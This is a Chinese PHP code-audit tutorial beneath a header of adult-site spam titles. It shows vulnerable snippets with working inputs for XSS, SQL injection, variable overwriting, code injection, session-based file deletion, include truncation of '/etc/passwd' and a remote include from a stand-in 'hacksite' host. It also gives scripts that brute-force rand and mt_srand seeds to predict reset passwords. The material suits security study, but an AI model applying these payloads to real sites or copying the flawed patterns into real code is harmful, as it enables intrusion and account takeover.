亚洲香蕉成人av网站在线观看_欧美精品成人91久久久久久久_久久久久久久久久久亚洲_热久久视久久精品18亚洲精品_国产精自产拍久久久久久_亚洲色图国产精品_91精品国产网站_中文字幕欧美日韩精品_国产精品久久久久久亚洲调教_国产精品久久一区_性夜试看影院91社区_97在线观看视频国产_68精品久久久久久欧美_欧美精品在线观看_国产精品一区二区久久精品_欧美老女人bb

首頁(yè) > 編程 > PHP > 正文

PHP Code Reviewing Learning

2020-03-22 20:28:41
字體:
來(lái)源:轉(zhuǎn)載
供稿:網(wǎng)友
  • 1. 前言

    PHP是一種被廣泛使用的腳本語(yǔ)言,尤其適合于web開(kāi)發(fā)。具有跨平臺(tái),容易學(xué)習(xí),功能強(qiáng)大等特點(diǎn),據(jù)統(tǒng)計(jì)全世界有超過(guò)34%的網(wǎng)站有php的應(yīng)用,包括Yahoo、sina、163、sohu等大型門(mén)戶網(wǎng)站。而且很多具名的web應(yīng)用系統(tǒng)(包括bbs,blog,wiki,cms等等)都是使用php開(kāi)發(fā)的,Discuz、phpwind、phpbb、vbb、wordpress、boblog等等。隨著web安全的熱點(diǎn)升級(jí),phphtml' target='_blank'>應(yīng)用程序的代碼安全問(wèn)題也逐步興盛起來(lái),越來(lái)越多的安全人員投入到這個(gè)領(lǐng)域,越來(lái)越多的應(yīng)用程序代碼漏洞被披露。
    針對(duì)這樣一個(gè)狀況,很多應(yīng)用程序的官方都成立了安全部門(mén),或者雇傭安全人員進(jìn)行代碼審計(jì),因此出現(xiàn)了很多自動(dòng)化商業(yè)化的代碼審計(jì)工具。也就是這樣的形勢(shì)導(dǎo)致了一個(gè)局面:大公司的產(chǎn)品安全系數(shù)大大的提高,那些很明顯的漏洞基本滅絕了,那些大家都知道的審計(jì)技術(shù)都無(wú)用武之地了。
    我們面對(duì)很多工具以及大牛掃描過(guò)n遍的代碼,有很多的安全人員有點(diǎn)悲觀,而有的官方安全人員也非常的放心自己的代碼,但是不要忘記了'沒(méi)有絕對(duì)的安全',我們應(yīng)該去尋找新的途徑挖掘新的漏洞。本文就給介紹了一些非傳統(tǒng)的技術(shù)經(jīng)驗(yàn)和大家分享。

    2. 傳統(tǒng)的代碼審計(jì)技術(shù)

    WEB應(yīng)用程序漏洞查找基本上是圍繞兩個(gè)元素展開(kāi):變量與函數(shù)。也就是說(shuō)一漏洞的利用必須把你提交的惡意代碼通過(guò)變量經(jīng)過(guò)n次變量轉(zhuǎn)換傳遞,最終傳遞給目標(biāo)函數(shù)執(zhí)行,還記得MS那句經(jīng)典的名言嗎?'一切輸入都是有害的'。
    這句話只強(qiáng)調(diào)了變量輸入,很多程序員把'輸入'理解為只是gpc[$_GET,$_POST,$_COOKIE],但是變量在傳遞過(guò)程產(chǎn)生了n多的變化。導(dǎo)致很多過(guò)濾只是個(gè)'紙老虎'!我們換句話來(lái)描敘下代碼安全:'一切進(jìn)入函數(shù)的變量是有害的'。
    PHP代碼審計(jì)技術(shù)用的最多也是目前的主力方法:靜態(tài)分析,主要也是通過(guò)查找容易導(dǎo)致安全漏洞的危險(xiǎn)函數(shù),常用的如grep,findstr等搜索工具,很多自動(dòng)化工具也是使用正則來(lái)搜索這些函數(shù)。下面列舉一些常用的函數(shù),也就是下文說(shuō)的字典。但是目前基本已有的字典很難找到漏洞,所以我們需要擴(kuò)展我們的字典,這些字典也是本文主要探討的。
    其他的方法有:通過(guò)修改PHP源代碼來(lái)分析變量流程,或者h(yuǎn)ook危險(xiǎn)的函數(shù)來(lái)實(shí)現(xiàn)對(duì)應(yīng)用程序代碼的審核,但是這些也依靠了我們上面提到的字典。

    3. PHP版本與應(yīng)用代碼審計(jì)

    到目前為止,PHP主要有3個(gè)版本:php4、php5、php6,使用比例大致如下:

    php4 68% 2000-2007,No security fixes after 2008/08,最終版本是php4.4.9 php5 32% 2004-present,Now at version 5.2.6(PHP 5.3 alpha1 released!) php6 目前還在測(cè)試階段,變化很多做了大量的修改,取消了很多安全選項(xiàng)如magic_quotes_gpc(這個(gè)不是今天討論的范圍)

    由于php缺少自動(dòng)升級(jí)的機(jī)制,導(dǎo)致目前PHP版本并存,也導(dǎo)致很多存在漏洞沒(méi)有被修補(bǔ)。這些有漏洞的函數(shù)也是我們進(jìn)行WEB應(yīng)用程序代碼審計(jì)的重點(diǎn)對(duì)象,也是我們字典重要來(lái)源。

    4. 其他的因素與應(yīng)用代碼審計(jì)
    很多代碼審計(jì)者拿到代碼就看,他們忽視了'安全是一個(gè)整體',代碼安全很多的其他因素有關(guān)系,比如上面我們談到的PHP版本的問(wèn)題,比較重要的還有操作系統(tǒng)類(lèi)型(主要是兩大陣營(yíng)win/*nix),WEB服務(wù)端軟件(主要是iis/apache兩大類(lèi)型)等因素。這是由于不同的系統(tǒng)不同的WEB SERVER有著不同的安全特點(diǎn)或特性,下文有些部分會(huì)涉及。
    所以我們?cè)谧瞿硞€(gè)公司W(wǎng)EB應(yīng)用代碼審計(jì)時(shí),應(yīng)該了解他們使用的系統(tǒng),WEB服務(wù)端軟件,PHP版本等信息。

    5. 擴(kuò)展我們的字典
    下面將詳細(xì)介紹一些非傳統(tǒng)PHP應(yīng)用代碼審計(jì)一些漏洞類(lèi)型和利用技巧。

    5.1 變量本身的key
    說(shuō)到變量的提交很多人只是看到了GET、POST、COOKIE等從用戶提交的變量的值,但是忘記了有的程序把變量本身的key也當(dāng)變量提取給函數(shù)處理,所以,從本質(zhì)上來(lái)說(shuō),變量本身的key值也屬于數(shù)據(jù)輸入流中的一員,應(yīng)納入審計(jì)范圍中。

    <?php    //key.php?aaaa'aaa=1&bb'b=2     //print_R($_GET);     foreach ($_GET AS $key => $value)    {        print $key.'';    }?>

    上面的代碼就提取了變量本身的key顯示出來(lái),單純對(duì)于上面的代碼,如果我們提交URL:

    http://localhost/test/key.php?<script>alert(1);</script>=1&bbb=2

    那么就導(dǎo)致一個(gè)xss的漏洞,擴(kuò)展一下如果這個(gè)key提交給include()等函數(shù)或者sql查詢(xún)呢?:)

    5.2 變量覆蓋
    很多的漏洞查找者都知道extract()這個(gè)函數(shù)在指定參數(shù)為EXTR_OVERWRITE或者沒(méi)有指定函數(shù)可以導(dǎo)致變量覆蓋,但是還有很多其他情況導(dǎo)致變量覆蓋的如:遍歷初始化變量
    請(qǐng)看如下代碼:

    <?php    //var.php?a=fuck    $a='hi';    foreach($_GET as $key => $value)     {        $$key = $value;    }    print $a;?>

    很多的WEB應(yīng)用都使用上面的方式,如Discuz!4.1的WAP部分的代碼

    $chs = '';if($_POST && $charset != 'utf-8') {        $chs = new Chinese('UTF-8', $charset);        foreach($_POST as $key => $value)     {                $$key = $chs->Convert($value);        }        unset($chs);...

    以及DEDECMS的common.inc.php

    foreach(Array('_GET','_POST','_COOKIE') as $_request){    foreach($$_request as $_k => $_v)     {        if($_k == 'nvarname')         {            ${$_k} = $_v;        }        else         {            ${$_k} = _RunMagicQuotes($_v);        }    }}

    CMS中的這些代碼模塊對(duì)PHP的本地變量注冊(cè)進(jìn)行了模擬實(shí)現(xiàn),自然也引入了同樣的變量覆蓋安全問(wèn)題。

    0x1: parse_str()變量覆蓋漏洞

    <?php    //var.php?var=new    $var = 'init';                         parse_str($_SERVER['QUERY_STRING']);     print $var;?>訪問(wèn):http://localhost/test/var.php?var=new

    該函數(shù)一樣可以覆蓋數(shù)組變量,上面的代碼是通過(guò)$_SERVER'QUERY_STRING'來(lái)提取變量的,對(duì)于指定了變量名的我們可以通過(guò)注射'='來(lái)實(shí)現(xiàn)覆蓋其他的變量:

    <?php    //var.php?var=1&a[1]=var1%3d222    $var1 = 'init';    parse_str($a[$_GET['var']]);    print $var1;?>訪問(wèn)http://localhost/test/index.php?var=1&a[1]=var1%3d222

    上面的代碼通過(guò)提交$var來(lái)實(shí)現(xiàn)對(duì)$var1的覆蓋。
    http://cn2.php.net/manual/zh/function.parse-str.php

    0x2: import_request_variables()變量覆蓋漏洞
    將 GET/POST/Cookie 變量導(dǎo)入到全局作用域中。如果你禁止了 register_globals,但又想用到一些全局變量,那么此函數(shù)就很有用。

    http://www.php.net/manual/zh/function.import-request-variables.php

    這個(gè)函數(shù)可能導(dǎo)致的漏洞如下:

    <?php    //var.php?_SERVER[REMOTE_ADDR]=10.1.1.1    echo 'GLOBALS '.(int)ini_get('register_globals').'n';    import_request_variables('GPC');    if ($_SERVER['REMOTE_ADDR'] != '10.1.1.1')     {        die('Go away!');    }    echo 'Hello admin!';?>訪問(wèn)http://localhost/test/var.php?_SERVER[REMOTE_ADDR]=10.1.1.1

    5.3 magic_quotes_gpc與代碼安全
    首先,我們需要明白的是magic_quotes_gpc的版本情況

    PHP 5.3.0之前有效PHP 5.3.0起廢棄PHP 5.4.0起移除,即不管任何設(shè)置均無(wú)效

    當(dāng)打開(kāi)時(shí),所有的 '(單引號(hào)),'(雙引號(hào)),(反斜線)和 NULL 字符都會(huì)被自動(dòng)加上一個(gè)反斜線進(jìn)行轉(zhuǎn)義。還有很多函數(shù)有類(lèi)似的作用 如:addslashes()、mysql_escape_string()、mysql_real_escape_string()等。

    但是,PHP中存在某些地方是不受magic_quotes_gpc保護(hù)的,認(rèn)識(shí)到這點(diǎn)很重要,因?yàn)閺陌踩刂频淖罴褜?shí)踐來(lái)說(shuō),最好的做法就是將某類(lèi)安全處理代碼塊封裝到一個(gè)API中,并在程序中所有涉及到這類(lèi)風(fēng)險(xiǎn)的位置應(yīng)用這個(gè)API,理論上說(shuō),magic_quotes_gpc也應(yīng)該是要這樣,但事實(shí)上卻不是這樣,PHP中不受magic_quotes_gpc保護(hù)的變量有:

    1. $_SERVER變量PHP5的$_SERVER變量缺少magic_quotes_gpc的保護(hù),導(dǎo)致近年來(lái)X-Forwarded-For的漏洞猛暴,所以很多程序員考慮過(guò)濾X-Forwarded-For,但是$_SERVER變量中的其他的變量呢?2. getenv()得到的變量類(lèi)似$_SERVER變量 3. $HTTP_RAW_POST_DATA與PHP輸入、輸出流主要應(yīng)用與soap/xmlrpc/webpublish功能里,請(qǐng)看如下代碼:..if ( !isset( $HTTP_RAW_POST_DATA ) ) {        $HTTP_RAW_POST_DATA = file_get_contents( 'php://input' );}if ( isset($HTTP_RAW_POST_DATA) ){    $HTTP_RAW_POST_DATA = trim($HTTP_RAW_POST_DATA);    ...}...4. 數(shù)據(jù)庫(kù)操作容易忘記'的地方如:in()/limit/order by/group byif(is_array($msgtobuddys)) {        $msgto = array_merge($msgtobuddys, array($msgtoid));        ......    foreach($msgto as $uid)     {        $uids .= $comma.$uid;        $comma = ',';    }    ......    $query = $db->query('SELECT m.username, mf.ignorepm FROM {$tablepre}members m LEFT JOIN {$tablepre}memberfields mf USING(uid) WHERE m.uid IN ($uids)');

    總的來(lái)說(shuō),magic_quotes_gpc存在兩個(gè)主要的問(wèn)題

    1. 寬字節(jié)錯(cuò)誤導(dǎo)致的注入2. 覆蓋度不完整,沒(méi)有對(duì)程序中所有的輸入變量都應(yīng)用安全處理

    所以在PHP5.4之后,PHP就停止了對(duì)magic_quotes_gpc的支持,而鼓勵(lì)開(kāi)發(fā)者遵循最佳安全開(kāi)發(fā)實(shí)踐來(lái)對(duì)輸入變量進(jìn)行處理。

    0x1: 變量的編碼與解碼
    一個(gè)WEB程序很多功能的實(shí)現(xiàn)都需要變量的編碼解碼,而且就在這一轉(zhuǎn)一解的傳遞過(guò)程中就悄悄的繞過(guò)你的過(guò)濾的安全防線。
    這個(gè)類(lèi)型的主要函數(shù)有:

    1. stripslashes() 這個(gè)其實(shí)就是一個(gè)decode-addslashes()2. 其他字符串轉(zhuǎn)換函數(shù):    1) base64_decode    對(duì)使用 MIME base64 編碼的數(shù)據(jù)進(jìn)行解碼    2) base64_encode    使用 MIME base64 對(duì)數(shù)據(jù)進(jìn)行編碼    3) rawurldecode    對(duì)已編碼的 URL 字符串進(jìn)行解碼    4) rawurlencode    按照 RFC 1738 對(duì) URL 進(jìn)行編碼    5) urldecode    解碼已編碼的 URL 字符串    6) urlencode    編碼 URL 字符串    ...     3. unserialize/serialize4. 字符集函數(shù)(GKB,UTF7/8...)    1) iconv()    2) mb_convert_encoding()

    變量和編碼本身沒(méi)有明顯的漏洞,它帶來(lái)的問(wèn)題是會(huì)隱藏攻擊者的payload意圖,導(dǎo)致WAF、IDS等防御策略失效。

    0x2: 魔術(shù)引號(hào)/轉(zhuǎn)義帶來(lái)的新的安全問(wèn)題
    首先我們看下魔術(shù)引號(hào)的處理機(jī)制:

    1. -->/2. '-->'3. '-->'4. null-->

    這給我們引進(jìn)了一個(gè)非常有用的符號(hào)'',''符號(hào)不僅僅是轉(zhuǎn)義符號(hào),在WIN系統(tǒng)下也是目錄轉(zhuǎn)跳的符號(hào)(只截取''后面的內(nèi)容)。這個(gè)特點(diǎn)可能導(dǎo)致php應(yīng)用程序里產(chǎn)生非常有意思的漏洞:

    1. 得到原字符 <?php    ...    $order_sn=substr($_GET['order_sn'], 1);     //提交                 '    //魔術(shù)引號(hào)處理         '    //substr               '     $sql = 'SELECT order_id, order_status, shipping_status, pay_status, '. ' shipping_time, shipping_id, invoice_no, user_id '. ' FROM ' . $ecs->table('order_info'). ' WHERE order_sn = '$order_sn' LIMIT 1';2. 得到''字符 <?php    ...    $order_sn=substr($_GET['order_sn'], 0,1);      //提交                 '    //魔術(shù)引號(hào)處理         '    //substr                      $sql = 'SELECT order_id, order_status, shipping_status, pay_status, '. ' shipping_time, shipping_id, invoice_no, user_id '. ' FROM ' . $ecs->table('order_info'). ' WHERE order_sn = '$order_sn' and order_tn=''.$_GET['order_tn'].''';    ..提交內(nèi)容: ?order_sn='&order_tn=%20and%201=1/*執(zhí)行的SQL語(yǔ)句為: SELECT order_id, order_status, shipping_status, pay_status, shipping_time, shipping_id, invoice_no, user_id FROM order_info WHERE order_sn = '' and order_tn=' and 1=1/*'

    5.4代碼注射

    0x1: PHP中可能導(dǎo)致代碼注射的函數(shù)
    PHP中可能導(dǎo)致代碼注射的API有:

    1. eval2. preg_replace+/e3. assert()4. call_user_func()5. call_user_func_array()6. create_function()7. 變量函數(shù)(動(dòng)態(tài)函數(shù))...

    例如:

    <?php    //how to exp this code    $sort_by=$_GET['sort_by'];    $sorter='strnatcasecmp';    $databases=array('test','test');    $sort_function = '  return 1 * ' . $sorter . '($a['' . $sort_by . ''], $b['' . $sort_by . '']);              ';    usort($databases, create_function('$a, $b', $sort_function));

    0x2: 變量函數(shù)與雙引號(hào)
    對(duì)于單引號(hào)和雙引號(hào)的區(qū)別,我們需要仔細(xì)理解,例如

    <?php    echo '$a';    echo '$a';?>

    我們?cè)倏慈缦麓a:

    <?php    //how to exp this code    if($globals['bbc_email'])    {         $text = preg_replace( array('/[email=(.*?)](.*?)[/email]/ies', '/[email](.*?)[/email]/ies'), array('check_email('$1', '$2')', 'check_email('$1', '$1')'), $text);
    另外,很多的應(yīng)用程序都把變量用''存放在緩存文件或者config或者data文件里,在需要使用的使用通過(guò)Include方式加載進(jìn)來(lái),這樣,如果被加載的文件是變量函數(shù)(例如${${...}}這種類(lèi)型的),這就容易被人注射變量函數(shù)進(jìn)而代碼執(zhí)行了。

    5.5PHP自身函數(shù)漏洞及缺陷

    0x1: PHP函數(shù)的溢出漏洞
    大家還記得Stefan Esser大牛的Month of PHP Bugs項(xiàng)目么,其中比較有名的要算是unserialize(),代碼如下:
    unserialize(stripslashes($HTTP_COOKIE_VARS[$cookiename . '_data']);
    在以往的PHP版本里,很多函數(shù)都曾經(jīng)出現(xiàn)過(guò)溢出漏洞,所以我們?cè)趯徲?jì)應(yīng)用程序漏洞的時(shí)候不要忘記了測(cè)試目標(biāo)使用的PHP版本信息

    http://www.php-security.org/

    0x2: session_destroy()刪除文件漏洞
    測(cè)試PHP版本:5.1.2 這個(gè)漏洞是幾年前朋友saiy發(fā)現(xiàn)的,session_destroy()函數(shù)的功能是刪除session文件,很多web應(yīng)用程序的logout的功能都直接調(diào)用這個(gè)函數(shù)刪除session,但是這個(gè)函數(shù)在一些老的版本中缺少過(guò)濾導(dǎo)致可以刪除任意文件。測(cè)試代碼如下:

    <?php     //val.php       session_save_path('./');    session_start();    if($_GET['del'])     {        session_unset();        session_destroy();    }    else    {        $_SESSION['hei']=1;        echo(session_id());        print_r($_SESSION);    }?>

    當(dāng)我們提交構(gòu)造cookie:PHPSESSID=/../1.php,相當(dāng)于unlink('sess_/../1.php')這樣就通過(guò)注射../轉(zhuǎn)跳目錄刪除任意文件了。很多著名的程序某些版本都受影響如phpmyadmin,sablog,phpwind3等等。

    0x3: 隨機(jī)函數(shù)
    總體來(lái)說(shuō),PHP、以及其他的語(yǔ)言中,和隨機(jī)數(shù)有關(guān)的漏洞有以下兩種:

    1. 隨機(jī)數(shù)密文空間長(zhǎng)度問(wèn)題2. 隨即發(fā)生器種子問(wèn)題

    1. 隨機(jī)數(shù)密文空間長(zhǎng)度問(wèn)題: rand() VS mt_rand()

    <?php    //on windows    print mt_getrandmax(); //2147483647    echo '</br>';    print getrandmax();// 32767?>

    可以看出rand()最大的隨機(jī)數(shù)是32767,這個(gè)很容易被我們暴力破解。

    <?php    $a= md5(rand());    for($i=0;$i<=32767;$i++)    {        if(md5($i) ==$a )         {            print $i.'-->ok!!<br>';            exit;        }        else         {             print $i.'<br>';        }    }?>

    當(dāng)我們的程序使用rand處理session時(shí),攻擊者很容易暴力破解出你的session,但是對(duì)于mt_rand是很難單純的暴力的。
    當(dāng)然,凡是也不是絕對(duì)的,我們說(shuō)mt_rand()抗窮舉性更強(qiáng)也是基于攻擊者完全不具有對(duì)目標(biāo)隨機(jī)系統(tǒng)先驗(yàn)知識(shí)的情況下而言的。我們來(lái)思考下面這個(gè)場(chǎng)景:
    比如下面的代碼,其邏輯是用戶取回密碼時(shí),會(huì)由系統(tǒng)隨機(jī)生成一個(gè)新的密碼,并發(fā)送到用戶的郵箱:

    function sendPSW(){    ....    $messenger = &$this->system->loadModel('system/messenger');    echo microtime() . '<br/>';    $passwd = substr(md5(print_r(microtime(), true)), 0, 6);}

    我們發(fā)現(xiàn),這個(gè)新生成的$passwd,是直接調(diào)用了microtime()后,取其MD5值的前6位。由于MD5是單向的哈希函數(shù),因此只需遍歷microtime()的值,再按照同樣的算法(這就是算法逆向的思想),即可猜解出$passwd的值。
    PHP中的microtime()有兩個(gè)值合并而成,一個(gè)是微秒數(shù),一個(gè)是系統(tǒng)當(dāng)前秒數(shù)。

    http://www.w3school.com.cn/php/func_date_microtime.asp

    因此只需要獲取到服務(wù)器的系統(tǒng)時(shí)間,就可以以此時(shí)間作為'基數(shù)',按次序遞增,即可猜解出新生成的密碼。因此這個(gè)算法是存在非常嚴(yán)重的設(shè)計(jì)缺陷的,程序員預(yù)想的隨機(jī)生成密碼,其實(shí)并未隨機(jī)。

    在這個(gè)案例中,生成密碼的前一行,直接調(diào)用了microtime()并返回在當(dāng)前頁(yè)面上,這又使得攻擊者以非常低的成本獲得了服務(wù)器時(shí)間;且兩次調(diào)用microtime()的時(shí)間間隔非常短,因此必然是在同一秒內(nèi),攻擊者只需要猜解微秒數(shù)即可。

    (思考: 攻擊者能利用這個(gè)microtime()的弱隨機(jī)性漏洞進(jìn)行基于時(shí)間'基數(shù)'的窮舉的一個(gè)最重要的前提就是攻擊者要獲取到服務(wù)器的系統(tǒng)時(shí)間,也就是在發(fā)起攻擊前要獲取到盡可能靠近關(guān)鍵點(diǎn)的時(shí)間,比如說(shuō)在生成cookie的那一瞬間會(huì)取一次microtime(),我們攻擊者的目的就是要'窮舉'出cookie生成的那一瞬間的microtime(),為了達(dá)到這個(gè)目的,我們就必須要盡可能的獲取到盡可能靠近那個(gè)取值點(diǎn)的時(shí)間,才能有效的進(jìn)行'時(shí)間'窮舉,否則如果時(shí)間間隔太大,窮舉就會(huì)很沒(méi)效率,還可能觸發(fā)警報(bào))
    這點(diǎn)在發(fā)送攻擊前一定要注意,因?yàn)槊糠N攻擊一般都會(huì)有一些必要的成立條件的。

    http://www.w3school.com.cn/php/func_date_microtime.asp

    如果調(diào)用時(shí)不帶可選參數(shù),本函數(shù)以 'msec sec' 的格式返回一個(gè)字符串,其中 sec 是自 Unix 紀(jì)元(0:00:00 January 1, 1970 GMT)起到現(xiàn)在的秒數(shù),msec 是微秒部分。字符串的兩部分都是以秒為單位返回的。

    0.68454800 13829648760.68459400 1382964876

    我們發(fā)現(xiàn),后面的'秒數(shù)部分'基本是一樣的(要達(dá)到這點(diǎn)需要攻擊者能夠做到在關(guān)鍵的附近獲取到microtime)。我們要做的就是不斷的窮舉前面的毫秒部分。

    <?php    //這個(gè)輸出的作用是模擬攻擊者獲取到了一個(gè)關(guān)鍵點(diǎn)附近的時(shí)間    $timebase = microtime();    print_r($timebase . '');       //關(guān)鍵點(diǎn),基于microtime生成'key'的地方    $passwd = substr(md5(print_r(microtime(), true)), 0, 6);    //開(kāi)始進(jìn)行窮舉    for($i = 15000;;$i++)    {        $tmp = substr(md5(print_r($timebase + $i, true)), 0, 6);        print_r($tmp . '');         if($passwd == $tmp)        {            print_r('Found The Key: ' . $tmp . '');             break;        }    }    print_r($passwd);?>

    2) 隨即發(fā)生器種子問(wèn)題: mt_srand()/srand()-weak seeding(by Stefan Esser)

    偽隨機(jī)數(shù)是由數(shù)學(xué)算法實(shí)現(xiàn)的,它真正隨機(jī)的地方在于'種子(seed)'。種子一旦確定后,再通過(guò)同一個(gè)偽隨機(jī)數(shù)算法計(jì)算出來(lái)的隨機(jī)數(shù),其值是固定,多次計(jì)算所得值的順序也是固定的(也就是說(shuō),只要種子seed是相同的,之后產(chǎn)生的偽隨機(jī)數(shù)序列就是相同的)。

    在PHP 4.2.0之前的版本中,是需要通過(guò)srand()或mt_srand()給rand()、mt_rand()'播種'的。在PHP 4.2.0之后的版本中,不在需要事先通過(guò)srand()、mt_srand()來(lái)'播種'。

    我們可以直接調(diào)用mt_rand(),系統(tǒng)會(huì)自動(dòng)播種。但是有的時(shí)候,程序猿為了和以前的PHP版本兼容,PHP代碼中經(jīng)常會(huì)這樣寫(xiě)

    mt_srand();mt_srand((double) microtime() * 100000);mt_srand((double) microtime() * 1000000);mt_srand((double) microtime() * 10000000);

    這種播種的寫(xiě)法其實(shí)是由缺陷的,且不說(shuō)time()是可以被攻擊者獲知的,使用microtime()獲得的種子范圍其實(shí)也不是很大。

    0 < (double) microtime() < 1 ----->0 < (double) microtime() * 1000000 < 1000000

    變化的范圍在0~1000000之間,猜解100萬(wàn)次即可遍歷所有的種子。
    在PHP 4.2.0之后的版本中,如果沒(méi)有通過(guò)播種函數(shù)指定seed,而直接調(diào)用mt_rand(),則系統(tǒng)會(huì)分配一個(gè)默認(rèn)的種子(默認(rèn)不是指一個(gè)定值,這個(gè)值也是隨機(jī)的)。在32位系統(tǒng)上默認(rèn)的播種的種子最大值是2^32,因此最多只需要嘗試2^32次就可以破解seed。

    如果是在同一進(jìn)程中(apache不能重啟),則同一個(gè)seed(這個(gè)是關(guān)鍵前提)每次通過(guò)mt_rand()生成的值都是固定的。

    <?php    mt_srand(1);    echo mt_rand() . '<br/>';    echo mt_rand() . '<br/>';    echo mt_rand() . '<br/>';    echo mt_rand() . '<br/>';    echo mt_rand() . '<br/>';    echo mt_rand() . '<br/>';    echo mt_rand() . '<br/>';    echo mt_rand() . '<br/>';?>124433597215217923154688506220026516842135443977186525816215094988992145423170

    多次訪問(wèn)得到的結(jié)果都是一樣的,也就是說(shuō),當(dāng)seed確定時(shí),1~N次通過(guò)mt_rand()產(chǎn)生的值都沒(méi)有發(fā)生變化。

    建立在這個(gè)基礎(chǔ)上,就可以得到一種針對(duì)隨機(jī)數(shù)種子的可行的攻擊方式:

    1) 通過(guò)窮舉方法猜解出種子的值2) 通過(guò)mt_srand()對(duì)猜解出的種子值進(jìn)行播種3) 通過(guò)還原程序邏輯,計(jì)算出對(duì)用的mt_rand()產(chǎn)生的偽隨機(jī)數(shù)的值
    <?php    mt_srand((double) microtime() * 1000000);    echo mt_rand() . '<br/>';    echo mt_rand() . '<br/>';    echo mt_rand() . '<br/>';    echo mt_rand() . '<br/>';    echo mt_rand() . '<br/>';    echo mt_rand() . '<br/>';    echo mt_rand() . '<br/>';    echo mt_rand() . '<br/>';?>每次訪問(wèn)都會(huì)得到不同的隨機(jī)數(shù)值,這是因?yàn)榉N子每次都會(huì)發(fā)生變化。假設(shè)攻擊者已知第一個(gè)隨機(jī)數(shù)的值:154176006(這在實(shí)際情況中很常見(jiàn),即攻擊者只能獲得偽隨機(jī)序列中的一部分的值,要去猜測(cè)剩下的其他值),如何猜解出剩下的幾個(gè)隨機(jī)數(shù)呢?只需要猜解出當(dāng)前用的種子即可。<?php    if($seed = get_seed())    {        echo 'seed is: ' . $seed . '';        mt_srand($seed);         echo mt_rand() . '<br/>';        echo mt_rand() . '<br/>';        echo mt_rand() . '<br/>';        echo mt_rand() . '<br/>';        echo mt_rand() . '<br/>';        echo mt_rand() . '<br/>';        echo mt_rand() . '<br/>';        echo mt_rand() . '<br/>';    }        //逆向算法的邏輯,猜解出種子值    function get_seed()    {        for($i = 0; $i < 1000000; $i++)        {            mt_srand($i);            //mt_rand(); 對(duì)應(yīng)是第幾次調(diào)用mt_rand() 這在實(shí)際攻擊中也要攻擊者事先確認(rèn)            $str = mt_rand(); //本例中是第一次調(diào)用mt_rand()            //對(duì)比隨機(jī)數(shù)的值            if($str == 154176006)            {                //返回找到的種子seed值                return $i;            }            return false;        }    }?>seed is: 34546615417600615575341081434505522563902658470748912197622782414508751741698782154

    對(duì)抗這種攻擊的方法,在輸出時(shí)不要輸入完整的偽隨機(jī)樹(shù),比如,原本是1450875174,那就進(jìn)行截?cái)啵惠敵鼋財(cái)嗪蟮臄?shù)字,這樣攻擊者就無(wú)法從所得到的偽隨機(jī)數(shù)結(jié)果反推出seed了

    在Stefan Esser的文中還提到一個(gè)小技巧,可以通過(guò)發(fā)送Keep-Alive HTTP頭,迫使服務(wù)端使用同一PHP進(jìn)程響應(yīng)請(qǐng)求,而在該P(yáng)HP進(jìn)程中,隨機(jī)數(shù)在使用時(shí)只會(huì)在一開(kāi)始播種一次。

    在一個(gè)web應(yīng)用中,有很多地方都可以獲取到隨機(jī)數(shù),從而提供猜解種子的可能。Stefan Esser提供了一種'Cross Application Attacks'的思路,即通過(guò)前一個(gè)應(yīng)用在頁(yè)面上返回的隨機(jī)數(shù)值,猜解出其他應(yīng)用生成的隨機(jī)數(shù)值。

    mt_srand((double) microtime() * 1000000);$search_id = mt_rand();

    如果服務(wù)器端將$search_id返回到頁(yè)面上,則攻擊者就可能猜解出當(dāng)前的種子。

    這個(gè)我之前分析的 Discuz修改用戶密碼POC的分析和思考http://www.freebuf.com/articles/web/12088.html原理是類(lèi)似的1) 攻擊者能夠獲得偽隨機(jī)序列中的其中一個(gè)2) 攻擊者必須要確定自己獲取的數(shù)值是偽隨機(jī)序列中的哪一個(gè)(即序號(hào))3) 通過(guò)逆向算法來(lái)窮舉出這個(gè)偽隨機(jī)數(shù)所用的種子seed4) 通過(guò)這個(gè)種子seed再生成其他的偽隨機(jī)數(shù)

    這種攻擊確實(shí)可行,比如一個(gè)服務(wù)器上同時(shí)安裝了WordPress和PhpBB,可以通過(guò)phpBB來(lái)猜解出種子,然后利用WordPress的密碼取回功能猜解出新生成的密碼。Stefan Esser描述這個(gè)攻擊過(guò)程如下:

    1) 使用Keep-Alive HTTP請(qǐng)求在phpBB2論壇中搜索字符串'a';2) 搜索必然會(huì)出來(lái)很多結(jié)果,同時(shí)也泄露了search_id;3) 很容易通過(guò)該值猜解出隨機(jī)數(shù)的種子(可以使用phpBB原生的生成算法來(lái)逆向推出種子)4) 攻擊者仍然使用Keep-Alive HTTP頭發(fā)送一個(gè)重置的admin密碼的請(qǐng)求給WordPress Blog;5) WordPress mt_rand()生成確認(rèn)鏈接,并發(fā)送到管理員郵箱;6) 攻擊者根據(jù)已算出的種子,可以構(gòu)造出此確認(rèn)鏈接;7) 攻擊者確認(rèn)此鏈接(仍然使用Keep-Alive頭),WordPress將向管理員郵箱發(fā)送新生成的密碼;8) 因?yàn)樾旅艽a也是由mt_rand()生成的,攻擊者仍然可以計(jì)算出來(lái);9) 從而攻擊者最終獲取了新的管理員密碼

    5.6 特殊字符

    0x1: 截?cái)?/em>
    其中最有名的數(shù)大家都熟悉的null字符截?cái)?/p>

    0x2: include截?cái)?/em>

    <?php     include $_GET['action'].'.php'; ?>提交'action=/etc/passwd%00'中的'%00'將截?cái)嗪竺娴?#39;.php'

    除了'%00'之外,還可以通過(guò)提交'action=http://www.hacksite.com/evil-code.txt?'這里'?'實(shí)現(xiàn)了'偽截?cái)?#39;。

    除了利用WEB請(qǐng)求中的參數(shù)分隔來(lái)進(jìn)行'偽截?cái)?#39;之外,還可以進(jìn)行超長(zhǎng)字符串的截?cái)?,即通過(guò)注入超長(zhǎng)字符串,將原本的后半段內(nèi)容擠出去

    <?php////////////////////////var5.php代碼:////include $_GET['action'].'.php'; ////print strlen(realpath('./'))+strlen($_GET['action']);  ///////////////////ini_set('max_execution_time', 0);$str='';for($i=0;$i<50000;$i++){        $str=$str.'/';         $resp=file_get_contents('http://127.0.0.1/test/index.php?action=1.txt'.$str);        //1.txt里的代碼為print 'hi';        if (strpos($resp, 'hi') !== false)    {                print $i;                exit;        }}?>

